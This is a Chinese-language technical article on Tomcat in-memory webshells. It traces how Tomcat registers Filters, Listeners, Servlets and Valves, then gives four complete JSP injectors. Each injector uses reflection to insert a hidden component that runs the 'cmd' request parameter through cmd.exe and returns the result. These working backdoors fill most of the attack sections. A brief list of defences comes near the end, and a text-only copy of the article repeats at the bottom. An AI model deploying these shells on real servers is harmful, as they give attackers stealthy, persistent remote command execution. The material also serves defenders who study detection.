深入研究Tomcat内存马的攻击技术
字数 2558 2025-08-20 18:17:59

Tomcat内存马攻击技术深入研究

1. 简介

Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器漏洞将恶意代码注入Tomcat进程内存中的攻击技术。这种攻击方式不需要在磁盘上写入文件,具有高度隐蔽性,能够绕过传统文件检测机制。

2. 环境要求

  • 操作系统:Windows 10
  • Tomcat版本:9.0.73
  • JDK版本:1.8.0_66

3. Tomcat配置文件解析机制

Tomcat在启动时会解析配置文件,主要流程如下:

  1. StandardContext类的startInternal方法开始
  2. 调用fireLifecycleEvent方法触发配置事件
  3. 通过ContextConfig类的configureStart方法调用webConfig方法
  4. webConfig方法合并Tomcat全局web.xml、应用web.xml、web-fragment.xml和注解配置信息
  5. 调用configureContext方法将解析出的配置信息关联到Context对象

关键方法调用栈:

configureContext:1447, ContextConfig (org.apache.catalina.startup)
webConfig:1330, ContextConfig (org.apache.catalina.startup)
configureStart:987, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)

4. Filter内存马技术

4.1 Filter基础示例

一个简单的Filter实现:

@WebFilter(value = "/hello", filterName = "hello")
public class HelloFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }

    @Override
    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) 
        throws IOException, ServletException {
        System.out.println("do filter");
        chain.doFilter(request, response);
    }

    @Override
    public void destroy() {
        System.out.println("filter destroy");
    }
}

4.2 Filter注册流程

动态添加Filter的过程:

  1. 调用ApplicationContextaddFilter方法创建FilterDef对象
  2. 调用StandardContextfilterStart方法得到filterConfigs
  3. 调用ApplicationFilterRegistrationaddMappingForUrlPatterns生成filterMaps

关键点:

  • 可以通过手动修改filterMaps顺序或调用addFilterMapBefore将自定义filter放在第一位
  • 需要构建filterDefsfilterMapsfilterConfigs三个关键变量

4.3 Filter触发流程

调用栈分析:

doFilter:16, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
...

关键步骤:

  1. StandardWrapperValve.invoke方法构建filterChain
  2. 调用filterChain的doFilter方法
  3. 遍历filterChain中的FilterConfig,获取Filter并调用其doFilter方法

4.4 Filter内存马实现

完整JSP内存马示例:

<%@ page import="java.util.Map,java.io.IOException,org.apache.tomcat.util.descriptor.web.*,org.apache.catalina.*,java.lang.reflect.*" %>
<%!
    public class MyFilter implements Filter {
        public void init(FilterConfig config) throws ServletException {}
        
        public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) 
            throws IOException, ServletException {
            HttpServletRequest request = (HttpServletRequest) req;
            if(request.getParameter("cmd") != null) {
                byte[] bytes = new byte[1024];
                Process process = new ProcessBuilder("cmd", "/C", request.getParameter("cmd")).start();
                int len = process.getInputStream().read(bytes);
                resp.getWriter().write(new String(bytes, 0, len));
                process.destroy();
                return;
            }
            chain.doFilter(req,resp);
        }
        
        public void destroy() {}
    }
%>

<%
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 检查是否已存在
    String filterName = "evilFilter";
    if (standardContext.findFilterDef(filterName) == null) {
        // 创建FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        filterDef.setFilterClass(MyFilter.class.getName());
        filterDef.setFilter(new MyFilter());
        
        // 添加到filterDefs
        standardContext.addFilterDef(filterDef);
        
        // 创建FilterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(filterName);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());
        
        // 添加到filterMaps第一位
        standardContext.addFilterMapBefore(filterMap);
        
        // 创建FilterConfig
        Constructor constructor = ApplicationFilterConfig.class
            .getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor
            .newInstance(standardContext, filterDef);
        
        // 添加到filterConfigs
        Field configs = standardContext.getClass().getDeclaredField("filterConfigs");
        configs.setAccessible(true);
        Map filterConfigs = (Map) configs.get(standardContext);
        filterConfigs.put(filterName, filterConfig);
        
        out.println("Inject Success!");
    }
%>

5. Listener内存马技术

5.1 Listener类型

常用监听器:

  • ServletContextListener:监听Servlet上下文创建/销毁
  • ServletContextAttributeListener:监听Servlet上下文属性变化
  • ServletRequestListener:监听Request请求创建/销毁
  • ServletRequestAttributeListener:监听Request属性变化
  • HttpSessionListener:监听Session状态
  • HttpSessionAttributeListener:监听Session属性变化

5.2 Listener流程分析

关键点:

  • 监听器存储在applicationEventListenersList属性中
  • 可通过addApplicationEventListenersetApplicationEventListeners方法添加监听器
  • 事件对象通过ServletRequestEvent构造

5.3 Listener内存马实现

JSP内存马示例:

<%@ page import="java.io.*,java.lang.reflect.*,org.apache.catalina.*" %>
<%!
    public class MyListener implements ServletRequestListener {
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null) {
                try {
                    InputStream in = Runtime.getRuntime()
                        .exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")})
                        .getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String out = s.hasNext() ? s.next() : "";
                    
                    Field reqField = req.getClass().getDeclaredField("request");
                    reqField.setAccessible(true);
                    Request request = (Request) reqField.get(req);
                    request.getResponse().getWriter().write(out);
                } catch (Exception e) {}
            }
        }
        
        public void requestInitialized(ServletRequestEvent sre) {}
    }
%>

<%
    // 获取StandardContext
    Field reqField = request.getClass().getDeclaredField("request");
    reqField.setAccessible(true);
    Request req = (Request) reqField.get(request);
    StandardContext context = (StandardContext) req.getContext();
    
    // 添加监听器
    MyListener listener = new MyListener();
    context.addApplicationEventListener(listener);
    out.println("Inject Success!");
%>

6. Servlet内存马技术

6.1 Servlet流程分析

关键方法:

  • ApplicationContext.addServlet:创建FilterDef对象
  • ApplicationServletRegistration.addMapping:添加URL与Wrapper映射
  • StandardContext.addServletMappingDecoded:在servletMappings中添加映射

6.2 Servlet内存马实现

JSP内存马示例:

<%@ page import="java.io.*,javax.servlet.*,java.lang.reflect.*,org.apache.catalina.*" %>
<%!
    public class MyServlet extends HttpServlet {
        protected void doGet(HttpServletRequest req, HttpServletResponse resp) 
            throws ServletException, IOException {
            if(req.getParameter("cmd") != null) {
                InputStream in = Runtime.getRuntime()
                    .exec(new String[]{"cmd.exe", "/C", req.getParameter("cmd")})
                    .getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                resp.getWriter().write(out);
            }
        }
    }
%>

<%
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 检查是否已存在
    String servletName = "evilServlet";
    if(servletContext.getServletRegistration(servletName) == null) {
        // 创建Servlet
        MyServlet myServlet = new MyServlet();
        
        // 使用Wrapper封装
        Wrapper wrapper = standardContext.createWrapper();
        wrapper.setName(servletName);
        wrapper.setServletClass(myServlet.getClass().getName());
        wrapper.setServlet(myServlet);
        
        // 添加到children
        standardContext.addChild(wrapper);
        
        // 添加映射
        standardContext.addServletMappingDecoded("/evil", servletName);
        out.println("Inject Success!");
    }
%>

7. Valve内存马技术

7.1 Valve机制

Tomcat中的Pipeline-Valve机制:

  • 每个容器(Engine/Host/Context/Wrapper)都有一个Pipeline
  • Pipeline中包含多个Valve,最后一个为Basic Valve
  • 请求会依次通过各个Valve

7.2 Valve内存马实现

JSP内存马示例:

<%@ page import="org.apache.catalina.valves.*,org.apache.catalina.connector.*,java.io.*,java.util.*,java.lang.reflect.*" %>
<%!
    public class MyValve extends ValveBase {
        public void invoke(Request request, Response response) throws IOException, ServletException {
            if(request.getParameter("cmd") != null) {
                InputStream in = Runtime.getRuntime()
                    .exec(new String[]{"cmd.exe", "/C", request.getParameter("cmd")})
                    .getInputStream();
                Scanner s = new Scanner(in).useDelimiter("\\A");
                String out = s.hasNext() ? s.next() : "";
                response.getWriter().write(out);
                return;
            }
            getNext().invoke(request, response);
        }
    }
%>

<%
    // 获取StandardContext
    ServletContext servletContext = request.getSession().getServletContext();
    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    // 添加Valve
    MyValve valve = new MyValve();
    standardContext.getPipeline().addValve(valve);
    out.println("Inject Success!");
%>

8. 防御措施

  1. 代码审计:检查是否有可疑的反射调用和动态类加载
  2. 运行时监控:监控Tomcat内存中的filter/listener/servlet/valve变化
  3. 权限控制:限制上传和执行JSP文件的权限
  4. 安全加固
    • 禁用不必要的功能
    • 及时更新Tomcat版本
    • 使用安全管理器
  5. 内存检测工具:使用专门的内存马检测工具定期扫描

9. 总结

Tomcat内存马攻击技术主要利用以下机制:

  1. 通过反射获取和修改Tomcat核心组件
  2. 动态注册恶意组件(Filter/Listener/Servlet/Valve)
  3. 利用Tomcat请求处理流程执行恶意代码

四种内存马对比:

类型 隐蔽性 稳定性 实现难度 适用场景
Filter 中等 最常用
Listener 简单 需要请求触发
Servlet 简单 需要特定URL访问
Valve 最高 最高 复杂 需要深入理解机制

理解这些技术原理不仅有助于防御,也能提升对Tomcat架构的深入认识。

Tomcat内存马攻击技术深入研究 1. 简介 Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器漏洞将恶意代码注入Tomcat进程内存中的攻击技术。这种攻击方式不需要在磁盘上写入文件,具有高度隐蔽性,能够绕过传统文件检测机制。 2. 环境要求 操作系统:Windows 10 Tomcat版本:9.0.73 JDK版本:1.8.0_ 66 3. Tomcat配置文件解析机制 Tomcat在启动时会解析配置文件,主要流程如下: 从 StandardContext 类的 startInternal 方法开始 调用 fireLifecycleEvent 方法触发配置事件 通过 ContextConfig 类的 configureStart 方法调用 webConfig 方法 webConfig 方法合并Tomcat全局web.xml、应用web.xml、web-fragment.xml和注解配置信息 调用 configureContext 方法将解析出的配置信息关联到Context对象 关键方法调用栈: 4. Filter内存马技术 4.1 Filter基础示例 一个简单的Filter实现: 4.2 Filter注册流程 动态添加Filter的过程: 调用 ApplicationContext 的 addFilter 方法创建 FilterDef 对象 调用 StandardContext 的 filterStart 方法得到 filterConfigs 调用 ApplicationFilterRegistration 的 addMappingForUrlPatterns 生成 filterMaps 关键点: 可以通过手动修改 filterMaps 顺序或调用 addFilterMapBefore 将自定义filter放在第一位 需要构建 filterDefs 、 filterMaps 、 filterConfigs 三个关键变量 4.3 Filter触发流程 调用栈分析: 关键步骤: StandardWrapperValve.invoke 方法构建filterChain 调用filterChain的 doFilter 方法 遍历filterChain中的FilterConfig,获取Filter并调用其 doFilter 方法 4.4 Filter内存马实现 完整JSP内存马示例: 5. Listener内存马技术 5.1 Listener类型 常用监听器: ServletContextListener :监听Servlet上下文创建/销毁 ServletContextAttributeListener :监听Servlet上下文属性变化 ServletRequestListener :监听Request请求创建/销毁 ServletRequestAttributeListener :监听Request属性变化 HttpSessionListener :监听Session状态 HttpSessionAttributeListener :监听Session属性变化 5.2 Listener流程分析 关键点: 监听器存储在 applicationEventListenersList 属性中 可通过 addApplicationEventListener 或 setApplicationEventListeners 方法添加监听器 事件对象通过 ServletRequestEvent 构造 5.3 Listener内存马实现 JSP内存马示例: 6. Servlet内存马技术 6.1 Servlet流程分析 关键方法: ApplicationContext.addServlet :创建 FilterDef 对象 ApplicationServletRegistration.addMapping :添加URL与Wrapper映射 StandardContext.addServletMappingDecoded :在 servletMappings 中添加映射 6.2 Servlet内存马实现 JSP内存马示例: 7. Valve内存马技术 7.1 Valve机制 Tomcat中的Pipeline-Valve机制: 每个容器(Engine/Host/Context/Wrapper)都有一个Pipeline Pipeline中包含多个Valve,最后一个为Basic Valve 请求会依次通过各个Valve 7.2 Valve内存马实现 JSP内存马示例: 8. 防御措施 代码审计 :检查是否有可疑的反射调用和动态类加载 运行时监控 :监控Tomcat内存中的filter/listener/servlet/valve变化 权限控制 :限制上传和执行JSP文件的权限 安全加固 : 禁用不必要的功能 及时更新Tomcat版本 使用安全管理器 内存检测工具 :使用专门的内存马检测工具定期扫描 9. 总结 Tomcat内存马攻击技术主要利用以下机制: 通过反射获取和修改Tomcat核心组件 动态注册恶意组件(Filter/Listener/Servlet/Valve) 利用Tomcat请求处理流程执行恶意代码 四种内存马对比: | 类型 | 隐蔽性 | 稳定性 | 实现难度 | 适用场景 | |---------|--------|--------|----------|------------------| | Filter | 高 | 高 | 中等 | 最常用 | | Listener| 高 | 中 | 简单 | 需要请求触发 | | Servlet | 中 | 高 | 简单 | 需要特定URL访问 | | Valve | 最高 | 最高 | 复杂 | 需要深入理解机制 | 理解这些技术原理不仅有助于防御,也能提升对Tomcat架构的深入认识。